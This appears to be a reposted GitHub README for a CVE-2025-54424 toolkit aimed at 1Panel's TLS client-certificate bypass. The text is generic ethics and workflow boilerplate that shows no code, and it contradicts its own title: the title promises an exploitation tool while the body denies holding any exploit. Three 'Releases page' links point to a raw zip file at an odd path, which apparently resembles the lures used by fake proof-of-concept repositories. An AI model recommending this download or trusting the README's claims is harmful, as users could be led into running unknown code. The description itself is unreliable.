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CVE-2025-54424 — CVE-2025-54424: 1Panel TLS client cert bypass enables RCE via forged CN 'panel_client' using a bundled scanning and exploitation tool. Affected: <= v2.0.5. 🔐 | Kitploit
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GitHubhophtien/cve-2025-54424

CVE-2025-54424

CVE-2025-54424: 1Panel TLS client cert bypass enables RCE via forged CN 'panel_client' using a bundled scanning and exploitation tool. Affected: <= v2.0.5. 🔐

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https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip

CVE-2025-54424: 1Panel RCE Scanner and Safe Testing Toolkit for Labs

Releases

CVE-2025-54424 is a vulnerability related to 1Panel, involving client certificate bypass that may lead to remote code execution. This repository provides an integrated toolkit designed to assist researchers in scanning and validating this vulnerability within controlled lab environments. The toolkit emphasizes security testing, educational purposes, and compliant research on affected systems. This project does not provide payloads or exploit scripts for unauthorized access or targeting external assets. Use it only in environments where explicit authorization has been granted, and comply with local laws and industry compliance requirements.

Table of Contents

  • About This Repository
  • Project Objectives and Scope
  • Code of Conduct and Ethics
  • Feature Overview
  • How It Works (High-Level Architecture)
  • Security and Protection Guidelines
  • Environment Requirements and Installation
  • Quick Start (High-Level Flow)
  • Usage Modes and Workflows
  • Developer Guide
  • Testing and Quality Assurance
  • Versioning and Releases
  • Contribution Guide
  • Frequently Asked Questions
  • License and Authorization
  • Acknowledgments

About This Repository This is a collection of tools designed for researchers and security engineers working on CVE-2025-54424 research. The core objective is to provide a transparent, reproducible testing environment for evaluating the impact scope, identifying configuration factors, and assessing the effectiveness of fixes in controlled environments. The project emphasizes documented testing processes, traceable result records, and protective operations on assets.

Project Objectives and Scope

  • Provide a clear testing framework for conducting security research on relevant 1Panel versions with proper authorization.
  • Offer components related to detection and assessment, without including payloads, weaponized scripts, or direct implementations of attacks targeting external assets.
  • Enable researchers to reproduce the vulnerability discovery process in a controlled lab environment, evaluate the effectiveness of patches and configuration changes, and compile results into shareable security assessment reports.
  • Support localized configuration, logging, and result export for audit and compliance purposes.
  • Provide clear changelogs and release notes to allow researchers to track version evolution.

Code of Conduct and Ethics

  • This project is intended for use only in environments where explicit authorization has been granted. Unauthorized security testing on others' systems is illegal.
  • No payloads, scripts, or technical details for unauthorized access, exploitation, or propagation are provided.
  • Before use, assess risks, ensure you have a rollback plan, backups, and contingency procedures.
  • Handle test data securely, avoiding disclosure of sensitive information in public channels.
  • If you identify potential improvements or remediation suggestions, submit them through the formal contribution process, avoiding disclosure of sensitive information in public channels.

Feature Overview

  • Security Scanning Module (High-Level): Performs static and dynamic checks on 1Panel configuration, certificate management, certificate trust chains, etc., within controlled environments to identify possible security risk indicators.
  • Risk Assessment and Reporting: Generates readable security assessment reports based on scan results, including risk levels, remediation recommendations, priority ordering, and traceable evidence chains.
  • Security Testing Guidance Templates: Provides test script templates, recording forms, and result archiving formats for execution in lab environments, helping researchers maintain consistency.
  • Configuration Repository: Centralized configuration templates and examples to facilitate reproducing test scenarios across different lab environments.
  • Logging and Evidence Chain: Systematic logging mechanism for audit, reproduction, and sharing of assessment results.

How It Works (High-Level Architecture)

  • Core Component Layering: Interface layer (CLI/simple interface) + Test driver layer (test cases, test harness) + Reporting layer (result aggregation, export).
  • Data Flow: Input configuration and target assets → Scan and assessment → Result aggregation and export → Report output.
  • Security Boundaries: All tests are executed in isolated environments with restricted filesystem and network access. Output generated during testing is stored locally or within authorized boundaries only.
  • Low Module Coupling: Each module communicates through well-defined interfaces, making it easy to replace, extend, or disable specific functionalities.

Security and Protection Guidelines

  • Controlled Environment Principle: Run only in test labs or sandboxes to avoid impacting production systems.
  • Least Privilege Principle: Test accounts should have only the necessary permissions, avoiding risk operations that elevate privileges.
  • Logging and Evidence Management: Structured logging ensures traceability, auditability, and compliance with data protection requirements.
  • Risk Classification and Mitigation: Set remediation priorities for high-risk findings and provide actionable mitigation strategies.
  • Compliance and Disclosure: Obtain authorization and follow appropriate disclosure paths before publishing research, adhering to responsible disclosure principles.

Environment Requirements and Installation

  • Operating System: Mainstream Linux/Windows/macOS in virtualized environments are all usable, but Linux is recommended for lab testing.
  • Python Version (if applicable): Python 3.10+ or corresponding runtime environment, meeting dependency requirements.
  • Dependency Management: Virtual environments (e.g., virtualenv or conda) can be used to isolate dependencies.
  • Network Requirements: Tests are conducted within controlled environments, ensuring no external loops or unauthorized network access.
  • Resource Requirements: Depending on test scale, a typical lab environment should have reasonable CPU, memory, and storage capacity to support log and report generation.

Installation Steps (High-Level)

  • Clone the repository locally.
  • Create a virtual environment and install dependencies.
  • Configure test environment parameters (e.g., target assets, certificate simulation parameters, log level).
  • Run the test workflow, paying attention to output and report generation.

Quick Start (High-Level Flow)

  • Step 1: Prepare authorization and isolated environment. Confirm the test target is your own asset or an authorized system. Set up or select an isolated lab environment with no external connectivity interference.
  • Step 2: Retrieve and configure. Download or obtain test configuration templates, customize them to lab needs. Record test scope, targets, schedule, and rollback plan.
  • Step 3: Execute tests. Trigger the security testing workflow, monitor progress, record intermediate artifacts, logs, and interim results.
  • Step 4: Analyze and report. Aggregate test results, generate a security assessment report, annotate remediation actions and priorities.
  • Step 5: Retest and verify. After fixes are applied, re-execute tests to validate changes and record comparative results.
  • Step 6: Archive and share. Organize results into reproducible assessment materials, disclose and archive according to institutional requirements.

Usage Modes and Workflows

  • Scan Mode: Primarily static and dynamic checks, focusing on high-level risk signals such as certificate management, trust chains, authentication paths, configuration exposure points. Outputs a baseline report to help teams understand the current state.
  • Assessment Mode: Based on scan results, performs risk classification, root cause analysis, and compilation of mitigation recommendations. Emphasizes actionability and traceability.
  • Report Output: Generates exportable files for sharing with security teams, development teams, and compliance teams. Reports include evidence snapshots, risk levels, remediation recommendations, and difficulty of implementation assessments.
  • Compliance and Governance: Provides process templates to help teams integrate testing activities into compliance reviews, change management, and risk governance frameworks.

Developer Guide

  • Code Structure Overview: Core modules, configuration and input, test drivers, output and reporting, toolchain integration, etc.
  • Contribution Process: Track issues via the issue tracker, submit changes via pull requests. Ensure consistent code style, provide test coverage and documentation updates.
  • Testing Strategy: Emphasize reproducibility and independence. Include minimal runnable examples, test data, and environment requirements to enable others to reproduce results under the same conditions.
  • Security Design: Implementations should avoid exposing exploitable details. Clearly mark sensitive parts of code, and implement access controls and separation for functionality that could be misused.
  • Dependencies and Compatibility: Document key third-party dependencies and version constraints for ease of maintenance and rapid deployment.

Testing and Quality Assurance

  • Static Analysis: Use static code analysis tools to identify potential issues.
  • Dynamic Testing: Execute basic functional tests in controlled environments to validate output format and stability.
  • Regression Testing: Run regression cases after each change to ensure new modifications do not break existing behavior.
  • Security Assessment: Conduct independent reviews of newly added features to ensure they do not introduce unnecessary security risks.
  • Recording and Auditing: All testing activities should have traceable logs and timestamps for auditing and reproduction.

Versioning and Releases

  • Version Naming: Follow semantic versioning principles for easy change tracking.
  • Release Notes: Each release should include a change summary, impact scope, known issues, compatibility information, and upgrade notes.
  • Accessing Releases: Visit the repository's Releases page to obtain available versions and related documentation. See the Releases page at https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip

Versioning and Release Details

  • Compatibility: Clearly indicate which systems and which 1Panel versions are affected.
  • Compatibility Migration: Provide clear migration guides if API changes occur.
  • Rollback Strategy: Provide guidance and tools for rolling back when a new version is not usable.

Contribution Guide

  • How to Participate: Welcome bug reports, fix submissions, documentation and example improvements. Follow the project's coding style and security guidelines.
  • Code Style: Keep code clear, concise, and well-commented. Avoid exposing implementation details of dangerous behavior.
  • Security Disclosure: Content related to vulnerability verification should only be materials for authorized testing environments. Follow responsible disclosure processes.

Frequently Asked Questions

  • Does this tool directly attack targets? Answer: This tool focuses on security testing and assessment in controlled environments; it does not contain payloads for external assets. Testing should be performed only within authorized scope.
  • Can I use it in production environments? Answer: No. Conduct tests in isolated test environments, and complete risk assessment and change management before deployment in production.
  • How to get help? Answer: Submit issues through the issue tracking system, including reproduction steps, environment information, and expected results for better understanding and assistance.

License and Authorization

  • License Type: MIT license (illustrative description; actual license file governs).
  • Authorized Use: Use within the scope of authorization; not for unauthorized testing or attacks.
  • Open Source Commitment: The project adheres to the open source spirit and welcomes community participation and transparent improvement.

Acknowledgments

  • Thanks to participants, reviewers, and peers contributing to security research. Your efforts help improve the overall security level of the industry.

If you need to view specific release items, downloaded files, and more sample configurations, please visit the following link and refer to related documentation as needed. See the Releases page at https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip

Notes

  • This README is oriented toward security research and compliance testing, emphasizing working within authorized boundaries.
  • No exploitative details or directly usable attack implementations are provided to avoid encouraging unauthorized actions.
  • If you have questions about the purpose, implementation, or future plans of this repository, please ask through official communication channels.
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